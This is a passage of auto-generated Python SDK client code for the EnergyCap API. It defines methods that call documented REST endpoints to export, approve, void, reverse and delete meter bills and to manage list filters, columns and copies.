:param meter_id: The meter identifier to retrieve bills list for
:type meter_id: int
:param page_size: The number of elements to return in a page
:type page_size: int
:param page_number: The current page number
:type page_number: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: ListResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.ListResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.meter_bill_list.metadata['url']
path_format_arguments = {
'meterId': self._serialize.url("meter_id", meter_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
if page_size is not None:
query_parameters['pageSize'] = self._serialize.query("page_size", page_size, 'int')
if page_number is not None:
query_parameters['pageNumber'] = self._serialize.query("page_number", page_number, 'int')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
header_dict = {}
if response.status_code == 200:
deserialized = self._deserialize('ListResponse', response)
header_dict = {
'PageNumber': 'int',
'TotalPages': 'int',
'PageSize': 'int',
'TotalNumberOfRecords': 'int',
}
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
client_raw_response.add_headers(header_dict)
return client_raw_response
return deserialized
meter_bill_list.metadata = {'url': '/api/v3/meter/{meterId}/list/bill'}
def meter_bill_list_export(
self, meter_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Export all meter bills to ap or gl
Maximum of 10000 bills can be processed at one time.
:param meter_id: The meter to export all bills
:type meter_id: int
:param body: Bill Export Options
:type body: ~energycap.sdk.models.BillExportOptions
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: None or ClientRawResponse if raw=true
:rtype: None or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.meter_bill_list_export.metadata['url']
path_format_arguments = {
'meterId': self._serialize.url("meter_id", meter_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'BillExportOptions')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [204]:
raise HttpOperationError(self._deserialize, response)
if raw:
client_raw_response = ClientRawResponse(None, response)
return client_raw_response
meter_bill_list_export.metadata = {'url': '/api/v3/meter/{meterId}/list/bill/export'}
def meter_bill_list_unexport(
self, meter_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Unexport meter bills.
:param meter_id: The meter for which to unexport all bills
:type meter_id: int
:param body: Value of "ap" for A/P unexport, or "gl" for GL unexport
:type body: ~energycap.sdk.models.BillUnexportOptions
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: UpdateResult or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.UpdateResult or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.meter_bill_list_unexport.metadata['url']
path_format_arguments = {
'meterId': self._serialize.url("meter_id", meter_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'BillUnexportOptions')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('UpdateResult', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
meter_bill_list_unexport.metadata = {'url': '/api/v3/meter/{meterId}/list/bill/unexport'}
def meter_bill_list_approve(
self, meter_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Approve/unapprove meter bills.
:param meter_id: The meter to approve/unapprove all bills
:type meter_id: int
:param body: Boolean representing approve flag
:type body: ~energycap.sdk.models.ListActionApprove
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: UpdateResult or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.UpdateResult or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.meter_bill_list_approve.metadata['url']
path_format_arguments = {
'meterId': self._serialize.url("meter_id", meter_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'ListActionApprove')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('UpdateResult', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
meter_bill_list_approve.metadata = {'url': '/api/v3/meter/{meterId}/list/bill/approve'}
def meter_bill_list_delete_bills(
self, meter_id, custom_headers=None, raw=False, **operation_config):
"""Delete all bills for meter.
:param meter_id: The meter to delete all bills from
:type meter_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: BillDeleteActionResult or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.BillDeleteActionResult or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.meter_bill_list_delete_bills.metadata['url']
path_format_arguments = {
'meterId': self._serialize.url("meter_id", meter_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.delete(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('BillDeleteActionResult', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
meter_bill_list_delete_bills.metadata = {'url': '/api/v3/meter/{meterId}/list/bill/data'}
def meter_bill_list_export_hold(
self, meter_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Hold/release meter bills for export.
:param meter_id: The meter to set the export hold flag on all bills
:type meter_id: int
:param body: Boolean representing exportHold flag
:type body: ~energycap.sdk.models.ListActionExportHold
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: UpdateResult or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.UpdateResult or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.meter_bill_list_export_hold.metadata['url']
path_format_arguments = {
'meterId': self._serialize.url("meter_id", meter_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'ListActionExportHold')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('UpdateResult', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
meter_bill_list_export_hold.metadata = {'url': '/api/v3/meter/{meterId}/list/bill/exporthold'}
def meter_bill_list_void(
self, meter_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Void/unvoid meter bills.
:param meter_id: The meter to void/unvoid all bills
:type meter_id: int
:param body: Boolean representing void flag
:type body: ~energycap.sdk.models.ListActionVoid
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: UpdateResult or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.UpdateResult or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.meter_bill_list_void.metadata['url']
path_format_arguments = {
'meterId': self._serialize.url("meter_id", meter_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'ListActionVoid')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('UpdateResult', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
meter_bill_list_void.metadata = {'url': '/api/v3/meter/{meterId}/list/bill/void'}
def meter_bill_list_excel_export(
self, meter_id, custom_headers=None, raw=False, **operation_config):
"""Export list data to excel spreadsheet format.
:param meter_id: The meter to export bills from
:type meter_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: None or ClientRawResponse if raw=true
:rtype: None or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.meter_bill_list_excel_export.metadata['url']
path_format_arguments = {
'meterId': self._serialize.url("meter_id", meter_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200, 204]:
raise HttpOperationError(self._deserialize, response)
if raw:
client_raw_response = ClientRawResponse(None, response)
return client_raw_response
meter_bill_list_excel_export.metadata = {'url': '/api/v3/meter/{meterId}/list/bill/excelexport'}
def meter_bill_list_custom_action(
self, meter_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Fires a custom bill action on a meter bill list. Custom bill actions
are setup as webhooks.
:param meter_id: The meter against which all of its bills will have
the custom action performed
:type meter_id: int
:param body:
:type body: ~energycap.sdk.models.ListActionCustom
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: WebhookLogDetailsResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.WebhookLogDetailsResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.meter_bill_list_custom_action.metadata['url']
path_format_arguments = {
'meterId': self._serialize.url("meter_id", meter_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'ListActionCustom')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('WebhookLogDetailsResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
meter_bill_list_custom_action.metadata = {'url': '/api/v3/meter/{meterId}/list/bill/customAction'}
def reverse_meter_bill_list(
self, meter_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Reverses all bills on a meter bill list.
:param meter_id: The meter that all bills will be reversed on
:type meter_id: int
:param body: Batch settings for the reversed bills. If not provided,
bills will be placed in the currently open batch.
:type body: ~energycap.sdk.models.ListActionReverse
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: UpdateResult or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.UpdateResult or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.reverse_meter_bill_list.metadata['url']
path_format_arguments = {
'meterId': self._serialize.url("meter_id", meter_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'ListActionReverse')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('UpdateResult', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
reverse_meter_bill_list.metadata = {'url': '/api/v3/meter/{meterId}/list/bill/reverse'}
def set_meter_bill_list_accrual_exclusion(
self, meter_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Excludes or undoes exclusion of bills from accruals.
:param meter_id: The meter whose bills will be excluded or have
exclusion undone
:type meter_id: int
:param body: Indicates whether or not the bills should be excluded
from accruals or should have exclusion undone
:type body: ~energycap.sdk.models.ListActionAccrualExclusion
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: UpdateResult or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.UpdateResult or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.set_meter_bill_list_accrual_exclusion.metadata['url']
path_format_arguments = {
'meterId': self._serialize.url("meter_id", meter_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'ListActionAccrualExclusion')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('UpdateResult', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
set_meter_bill_list_accrual_exclusion.metadata = {'url': '/api/v3/meter/{meterId}/list/bill/accrualExclusion'}
def update_meter_bill_list_headers(
self, meter_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Updates bill headers for all bills on a meter bill list
Audits won't be fired.
:param meter_id: The meter whose bills will have header updates
applied
:type meter_id: int
:param body: Indicates which headers need to be updated
:type body: ~energycap.sdk.models.BillHeaderUpdate
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: UpdateResult or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.UpdateResult or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.update_meter_bill_list_headers.metadata['url']
path_format_arguments = {
'meterId': self._serialize.url("meter_id", meter_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'BillHeaderUpdate')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('UpdateResult', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
update_meter_bill_list_headers.metadata = {'url': '/api/v3/meter/{meterId}/list/bill/billHeaders'}
def get_dynamic_list_with_data(
self, list_type_id, page_size=None, page_number=None, body=None, custom_headers=None, raw=False, **operation_config):
"""Get the definition and data for a list type.
:param list_type_id: The list type for which the definition and data
are to be retrieved
:type list_type_id: int
:param page_size: The number of elements to return in a page
:type page_size: int
:param page_number: The current page number
:type page_number: int
:param body: DTO containing the list of initial filters to apply and a
flag indicating whether to reset the current columns.
Only one list of the specified list type exists, so columns and
filters are shared for every dynamic list of the list type.
Filters provided will be saved to the database.
:type body: ~energycap.sdk.models.DynamicListRequest
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: ListResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.ListResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_dynamic_list_with_data.metadata['url']
path_format_arguments = {
'listTypeId': self._serialize.url("list_type_id", list_type_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
if page_size is not None:
query_parameters['pageSize'] = self._serialize.query("page_size", page_size, 'int')
if page_number is not None:
query_parameters['pageNumber'] = self._serialize.query("page_number", page_number, 'int')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'DynamicListRequest')
else:
body_content = None
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
header_dict = {}
if response.status_code == 200:
deserialized = self._deserialize('ListResponse', response)
header_dict = {
'PageNumber': 'int',
'TotalPages': 'int',
'PageSize': 'int',
'TotalNumberOfRecords': 'int',
}
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
client_raw_response.add_headers(header_dict)
return client_raw_response
return deserialized
get_dynamic_list_with_data.metadata = {'url': '/api/v3/dynamiclist/{listTypeId}'}
def edit_list_filters(
self, list_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Set list filters
If a filter exists in the database, but is not passed in it will be
deleted.
For list filters to be edited you must have created the list
or have BillListAdministrator Manage permission and the list is shared
with anyone
or have SharedBillList Edit permission and the list is shared with you.
:param list_id: The list identifier
:type list_id: int
:param body: List of filters being set
:type body: list[~energycap.sdk.models.FilterEdit]
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.FilterResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.edit_list_filters.metadata['url']
path_format_arguments = {
'listId': self._serialize.url("list_id", list_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, '[FilterEdit]')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[FilterResponse]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
edit_list_filters.metadata = {'url': '/api/v3/list/{listId}/filter'}
def get_list_filters(
self, list_id, custom_headers=None, raw=False, **operation_config):
"""Get the filters for a list.
:param list_id: The list for which the filters are to be retrieved
:type list_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.FilterResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_list_filters.metadata['url']
path_format_arguments = {
'listId': self._serialize.url("list_id", list_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[FilterResponse]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_list_filters.metadata = {'url': '/api/v3/list/{listId}/filter'}
def edit_list_columns(
self, list_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Edit the column definition for the list.
For list columns to be edited you must have created the list
or have BillListAdministrator Manage permission and the list is shared
with anyone
or have SharedBillList Edit permission and the list is shared with you.
:param list_id: The list identifier
:type list_id: int
:param body:
:type body: list[~energycap.sdk.models.ListColumnEdit]
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.ListResponseListField] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.edit_list_columns.metadata['url']
path_format_arguments = {
'listId': self._serialize.url("list_id", list_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, '[ListColumnEdit]')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[ListResponseListField]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
edit_list_columns.metadata = {'url': '/api/v3/list/{listId}/column'}
def reset_list(
self, list_id, custom_headers=None, raw=False, **operation_config):
"""Reset a list to its default columns and filters.
For a list to be reset you must have created the list
or have BillListAdministrator Manage permission and the list is shared
with anyone
or have SharedBillList Edit permission and the list is shared with you.
:param list_id: The list identifier
:type list_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: None or ClientRawResponse if raw=true
:rtype: None or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.reset_list.metadata['url']
path_format_arguments = {
'listId': self._serialize.url("list_id", list_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [204]:
raise HttpOperationError(self._deserialize, response)
if raw:
client_raw_response = ClientRawResponse(None, response)
return client_raw_response
reset_list.metadata = {'url': '/api/v3/list/{listId}/reset'}
def create_and_copy_list(
self, list_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Create a new list as a copy of an existing list.
:param list_id: The list identifier of the existing list
:type list_id: int
:param body: The list create properties
:type body: ~energycap.sdk.models.ListCopy
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: ListCreateResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.ListCreateResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.create_and_copy_list.metadata['url']
path_format_arguments = {
'listId': self._serialize.url("list_id", list_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'ListCopy')
else:
body_content = None
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('ListCreateResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
create_and_copy_list.metadata = {'url': '/api/v3/list/{listId}'}
def edit_list(
self, list_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Edit a list.
:param list_id: The list identifier of the existing list
:type list_id: int
:param body: The list edit properties
:type body: ~energycap.sdk.models.ListEdit
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: ListCreateResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.ListCreateResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.edit_list.metadata['url']
path_format_arguments = {
'listId': self._serialize.url("list_id", list_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'ListEdit')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('ListCreateResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
edit_list.metadata = {'url': '/api/v3/list/{listId}'}
def delete_list(
self, list_id, custom_headers=None, raw=False, **operation_config):
"""Delete a list.
For a list to be deleted you must have created the list
or have BillListAdministrator Manage permission and the list is shared
with anyone.
:param list_id: The id of the list to delete
:type list_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: None or ClientRawResponse if raw=true
:rtype: None or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.delete_list.metadata['url']
path_format_arguments = {
'listId': self._serialize.url("list_id", list_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
